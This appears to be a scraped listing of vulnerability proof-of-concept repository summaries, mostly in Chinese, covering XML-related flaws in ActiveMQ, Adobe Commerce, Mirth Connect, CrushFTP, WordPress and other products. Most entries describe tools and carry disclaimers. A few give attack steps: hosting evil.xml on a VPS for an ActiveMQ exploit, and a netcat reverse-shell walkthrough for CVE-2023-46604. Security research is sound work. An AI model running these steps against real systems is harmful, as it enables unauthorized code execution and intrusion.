CVE-2024-34102

CVE-2024-34102 Adobe Commerce 版本 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 及更早版本受到 XML 外部实体引用（'XXE'）不当限制漏洞的影响，可能导致任意代码执行。攻击者可以通过发送一个引用外部实体的特制 XML 文档来利用此漏洞。利用此问题无需用户交互。 安装与执行脚本 💻 前提条件 在开始之前，请确保您的机器上已安装以下工具： Python 3.x Git pip （用于管理 Python 依赖项） 安装步骤 1. 克隆仓库 使用 git 克隆仓库： git clone...

ActiveMQ-cve-2026-42588-scanner-gui

ActiveMQ-cve-2026-42588-scanner-gui 【VPS一键利用 推荐有VPS的用户】 1. 输入 VPS 公网IP 和 监听端口 如 9999 2. 输入要执行的命令 如: touch /tmp/cvepwned 3. 点击【生成VPS命令】→ 点击【复制命令】 4. SSH登录VPS，粘贴命令并回车执行 5. 看到 Serving HTTP on 0.0.0.0:9999 说明服务已启动 6. 回到工具，点击【执行利用】发送Payload 7. 查看VPS终端，如果看到 GET /evil.xml 说明利用成功！ 【DNSLog验证 最简单，无需VPS】 1...

xpath

xpath 用于授权安全测试的高级 XPath 注入扫描器。 由 Chokri Hammedi blue0x1 编写 · MIT 许可 概述 xpath 是一个使用 Nim 编写的快速、多技术 XPath 注入扫描器。它专注于实际检测、响应比较、可见提取、盲提取，以及针对真实世界 XML 支持应用的负载覆盖。 它除了 Nim 标准库外没有外部运行时依赖。 能力 领域| 支持 ---|--- 检测| 基于错误、布尔型盲注、时间型盲注、认证绕过、联合/节点选择 提取| 可见 HTML 解析、选择器联合提取、盲 XPath 数据提取 负载| 经典、谓词、函数、路径逃逸、编码、实体、大小写混合变...

CVE-2022-24449

CVE-2022-24449 Solar Appscreener XXE 建议描述 在 Solar AppScreener SAST 工具至 3.10.4 版本中发现一个问题。未授权的攻击者可能利用安装了受影响版本的主机，通过上传特制的 XML 文件到主机（这些主机的许可证已过期或未安装），从而进行攻击。最低确认的影响是 XXE-SSRF。 附加信息 已在 3.10.4 版本中修复 漏洞类型 CWE-611：XML外部实体引用限制不当 供应商 SOLAR SECURITY LLC https://en.rt-solar.ru/ 受影响产品代码库 受影响版本：Solar Appscreen...

CVE-2025-69212_PoC

CVE-2025-69212: OpenSTAManager 概念验证（PoC） 本仓库包含一个概念验证（PoC），展示了标识为 CVE-2025-69212 的漏洞，该漏洞存在于 OpenSTAManager 中，是一个由 P7M（签名 XML）文件解码功能引起的操作系统命令注入漏洞。受影响版本为 2.9.8 及更早版本。 描述 CVE-2025-69212 是 OpenSTAManager 中发现的一个安全漏洞。此 PoC 旨在演示该漏洞的机制，用于教育目的、安全研究和补丁验证。 免责声明 !WARNING...

CVE-2023-43208

CVE-2023-43208 Mirth Connect 远程代码执行概念验证 针对 Mirth Connect 中 CVE-2023-43208 的概念验证 Python 脚本。 免责声明 仅限在您拥有或明确授权测试的环境中使用。此仓库用于安全研究、验证和防御性测试。作者不对因使用此工具造成的任何误用或损害承担责任。 概述 exp.py 是 PoC 的一个最小依赖版本，它能够： 检测目标是否看起来是 Mirth Connect 实例 通过 /api/server/version 请求 Mirth Connect 版本 检查版本是否低于 4.4.1 如果目标看似存在漏洞，则向...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect 预认证远程代码执行 在 NextGen Healthcare Mirth Connect CVSS 9.8（严重） — CVE-2023-37679 的补丁绕过 概述 Mirth Connect 在 /api/users 端点上使用 Java XStream 库反序列化 XML 负载，无需身份验证 。原始修复（CVE-2023-37679）引入了一个危险类黑名单，但通过使用 Apache Commons Lang3 中的 EventBindingInvocationHandler 结合 Commons Collections4...

CVE-2026-105694 Penpot: Stored XSS via Unsanitised SVG Uploads

Penpot is an open-source design and prototyping platform. Prior to 2.18.0, authenticated users with file-edit permission can upload SVG media whose scripts, event-handler attributes, and foreignObject elements are stored without sanitization and served as image/svg+xml from the Penpot origin. A...

CVE-2026-105694 Penpot: Stored XSS via Unsanitised SVG Uploads

Penpot is an open-source design and prototyping platform. Prior to 2.18.0, authenticated users with file-edit permission can upload SVG media whose scripts, event-handler attributes, and foreignObject elements are stored without sanitization and served as image/svg+xml from the Penpot origin. A...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic 实验环境 此仓库包含一个本地实验环境，用于研究 Apache ActiveMQ Classic 中的 CVE-2026-34197 ，并对比存在漏洞的实例与修复后的构建版本。 仓库的组织结构支持两个目标： 在严格可控、隔离的环境中复现该问题。 使用修补后的 ActiveMQ Classic 构建验证修复行为。 免责声明 本仓库提供的材料仅限用于合法、授权、防御性的安全研究 ，且必须在您拥有或明确获得测试许可的隔离实验室环境中使用。 使用本仓库的任何材料即表示您同意：...

POC-CVE-2025-66034

fontvarlib.py — CVE-2025-66034 fontTools varLib — 任意文件写入 + XML 注入 → 远程代码执行 目录 概述 漏洞详情 攻击链 环境要求 安装 配置 使用方法 工作原理 漏洞代码 利用前检查清单 测试环境 免责声明 参考资料 概述 CVE-2025-66034 是 fontTools.varLib 可变字体生成流水线中的一个漏洞。当 Web 应用暴露此流水线并接受用户提供的 .designspace 文件时，两个弱点可串联起来，实现未认证的远程代码执行 。 fontvarlib.py 自动化了完整的利用链——字体生成、载荷构造、上传和反...

PoC_CVE-2017-3164_CVE-2017-1262

Apache Solr Poc CVE-2017-3164 CVE-2017-12629 此文件夹包含针对 Apache Solr CVE-2017-3164 和 CVE-2017-12629 的示例漏洞利用代码。 仅用于教育目的，且必须获得 Apache Solr 服务器所有者的完全许可。 你需要知道 Apache Solr 服务器的 IP 或 DNS 名称，以及一个 Collection（集合）的名称。 CVE-2017-3164 Apache Solr 1.3 至 7.6（含）版本中存在服务端请求伪造（Server Side Request Forgery，SSRF）漏洞。由于...

CVE-2026-105630 Plane: Stored XSS via SVG attachment served inline on the application origin (account takeover)

Plane is an open-source project management tool. Prior to 1.4.0, an authenticated low-privilege workspace member, including a Guest, can upload an image/svg+xml file as a generic or issue attachment. The file retains the attacker-controlled Content-Type, and the asset-download endpoint creates a...

CVE-2021-38647

CVE-2021-38647 这是一个针对 CVE-2021-38647 的 POC： 发送一个 POST 请求到 /wsman，请求体包含 payload.xml 的内容，只需将命令替换为你想要的命令， 作为 POC，仅执行 id 命令。 来源：https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure 喜欢的话请关注：https://twitter.com/silentgh00st...

Poc-CVE-2024-32962-xml-crypto

Poc-CVE-2024-32962-xml-crypto 针对 CVE-2024-32962 漏洞的攻击模拟，用于伪造 SAML 消息并获取未经授权的权限。 即将发布。 Poc...

CVE-2026-10520

CVE-2026-10520 Ivanti Sentry（原 MobileIron Sentry）是一款企业安全网关，它代理移动设备与企业后端资源（电子邮件、SharePoint 和内部 Web 应用程序）之间的流量。它强制执行 移动设备管理 （MDM）策略，终止加密移动会话，并为企业应用部署签发基于证书的身份验证。Sentry 实例通常面向互联网运行在 8443 端口上，暴露 MICS（Mobile Iron Configuration Service）管理 API。 CVE-2026-10520 是一个未经身份验证的操作系统命令注入 漏洞，影响 R10.5.2、R10.6.2 和...

CVE-2025-31161

CVE-2025-31161 - CrushFTP 用户创建认证绕过利用工具 📌 描述 这个 Python 利用工具针对存在 CVE-2025-31161 漏洞的 CrushFTP 服务器。该漏洞允许通过向 WebInterface 发送特制的 XML 负载来创建未经过身份验证的用户账户 ，可能导致服务器完全沦陷。 ⚠️ 免责声明 此工具仅用于教育和授权安全测试。 未经授权对你不拥有或未获明确许可的系统进行使用是非法 且不道德的。 🧰 环境要求 Python 3 pip3 Python 模块： requests colorama ✅ 安装 Python3 和 pip3...

CVE-2020-26217

描述 XStream 可用于远程代码执行 影响版本 Xstream com.thoughtworks.xstream xstream 1.4.13 如何使用 0 text/plain 0 -1 1 cmd /c ca...

CVE-2021-29447-PoC

CVE-2021-29447 概念验证 ╔═╗╦ ╦╔═╗ ║ ╚╗╔╝║╣────2021-29447 ╚═╝ ╚╝ ╚═╝ Written By Isa Ebrahim - 0xRar on January, 2023 ═══════════════════════════════════════════════════════════════════════════ 标题: Wordpress 媒体库中的 XML 解析问题导致 XXE 受影响版本: Wordpress 5.6 - 5.7 已修复版本: Wordpress 5.7.1 安装版本: PHP 8...

CVE-2023-46604

CVE-2023-46604 构建docker-compose，其中包含两个镜像：受害机与目标机，按所需环境配置 在受害机上，启动ActiveMQ 切换到攻击机： • 开启HTTP服务以发送poc： python3 -m http.server • 使用netcat监听连接至攻击机 nc -nlvp 4444 • 发送载荷，建立反向shell连接至攻击机 python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中： Exploit.py：漏洞利用代码文件 -i...